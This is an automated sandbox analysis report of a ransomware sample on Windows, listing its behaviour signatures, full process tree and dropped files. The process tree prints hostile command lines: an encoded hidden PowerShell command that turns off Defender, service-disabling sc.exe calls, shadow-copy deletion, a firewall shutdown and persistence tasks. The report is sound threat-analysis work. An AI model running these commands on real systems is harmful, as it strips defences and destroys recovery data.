Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    21/04/2026, 16:50

General

  • Target
    2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260421-vcdeyads2v
  • SHA256 0dc1443800d91b39aa83b60eaaad4fb6b448597b238f3da519f5cb935c66643d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 2 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:744
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5536
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2752
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4552
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4148
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5684
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:644
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5732
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5380
      • C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:2056
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4588
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1800
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5988
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:2836
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3732
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4160
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4260
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4452
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:616
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4148
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:4552
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5620
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:3148
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3080
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:5040
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2480
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:5732
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4464
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4780
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                  PID:3672
                • C:\Windows\System32\notepad.exe
                  "C:\Windows\System32\notepad.exe"
                  2⤵
                    PID:4968
                  • C:\Windows\System32\vssadmin.exe
                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:636
                  • C:\Windows\System32\wbem\WMIC.exe
                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5936
                  • C:\Windows\System32\net.exe
                    "C:\Windows\System32\net.exe" stop srservice
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5724
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop srservice
                      3⤵
                        PID:6100
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4688
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" stop i8042prt
                      2⤵
                      • Launches sc.exe
                      PID:936
                    • C:\Windows\System32\netsh.exe
                      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                      2⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:4888
                  • C:\Windows\system32\LogonUI.exe
                    "LogonUI.exe" /flags:0x0 /state0:0xa396e855 /state1:0x41c64e6d
                    1⤵
                    • Drops desktop.ini file(s)
                    • Modifies data under HKEY_USERS
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    PID:4424
                  • C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:1760
                    • C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                      C:\Users\Admin\AppData\Local\Temp\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe
                      1⤵
                        PID:4340
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5068

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            LockScreen___1920_1080_notdimmed.jpg

                            • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-1609746302-1884177235-1125644204-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                            • Size 488KB
                            • SHA256 60fdd7bb975471662f6a6c1b27f638306dd4525777f414e88bbaea65080fe0e1
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 66KB
                            • SHA256 ffa9cc165700040a75bfbf578de255cb6f0d24f0950c7fbba78ec4c9ac6f39c9
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 66KB
                            • SHA256 0cdbc759fa28bbd7f7078d9d01a1c12c09025158e79ac7ab796df8d171e37e66
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-21_e7bfaff17dcb16ae7c35c1cb2276e9c2_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                            • Size 660B
                            • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                            • MD5 SHA1 SHA512 TLSH

                            __PSScriptPolicyTest_2ghofxsu.15e.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ghofxsu.15e.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 309B
                            • SHA256 d74f0b43bf39583910d706274699cfea2bd3cb95633989be04ede483df5034a3
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 310B
                            • SHA256 d6204f182e3cb92c7d64cd358880d792993dfc2d1dba2ccf7a7960c941a6fa39
                            • MD5 SHA1 SHA512 TLSH

                            sysupdate.exe

                            • Path C:\Windows\System32\sysupdate.exe
                            • Size 49KB
                            • SHA256 0dc1443800d91b39aa83b60eaaad4fb6b448597b238f3da519f5cb935c66643d
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/744-634-0x0000020D69B00000-0x0000020D69B22000-memory.dmp

                            memory/744-1458-0x0000020D69530000-0x0000020D6953C000-memory.dmp

                            memory/744-1452-0x0000020D693F0000-0x0000020D6949D000-memory.dmp

                            memory/1760-2246-0x000000001BAD0000-0x000000001BB7D000-memory.dmp

                            memory/2056-889-0x000000001B650000-0x000000001B6FD000-memory.dmp

                            memory/3672-2257-0x000001EB3C2E0000-0x000001EB3C38D000-memory.dmp

                            memory/3672-2256-0x000001EB3C2A0000-0x000001EB3C2AC000-memory.dmp

                            memory/4232-1-0x000000001BB50000-0x000000001BB60000-memory.dmp

                            memory/4232-14-0x000000001E0E0000-0x000000001E2A2000-memory.dmp

                            memory/4232-2289-0x000000001B8D0000-0x000000001B97D000-memory.dmp

                            memory/4232-15-0x000000001E2B0000-0x000000001E7D8000-memory.dmp

                            memory/4232-0-0x0000000000D90000-0x0000000000DA2000-memory.dmp

                            memory/4232-2279-0x000000001BB50000-0x000000001BB60000-memory.dmp

                            memory/4232-2277-0x0000000001550000-0x000000000155C000-memory.dmp

                            memory/4232-2276-0x000000001B8D0000-0x000000001B97D000-memory.dmp

                            memory/4340-2253-0x000000001B020000-0x000000001B0CD000-memory.dmp

                            memory/4424-2287-0x0000023FC8620000-0x0000023FC86CD000-memory.dmp

                            memory/4424-2278-0x0000023FC8620000-0x0000023FC86CD000-memory.dmp

                            memory/4588-2240-0x0000026AE6260000-0x0000026AE630D000-memory.dmp

                            memory/4588-2239-0x0000026AE47A0000-0x0000026AE47AC000-memory.dmp

                            memory/4968-2263-0x000001BE31820000-0x000001BE31821000-memory.dmp

                            memory/4968-2280-0x000001BE2FD80000-0x000001BE2FE2D000-memory.dmp

                            memory/5380-809-0x0000022B532E0000-0x0000022B5338D000-memory.dmp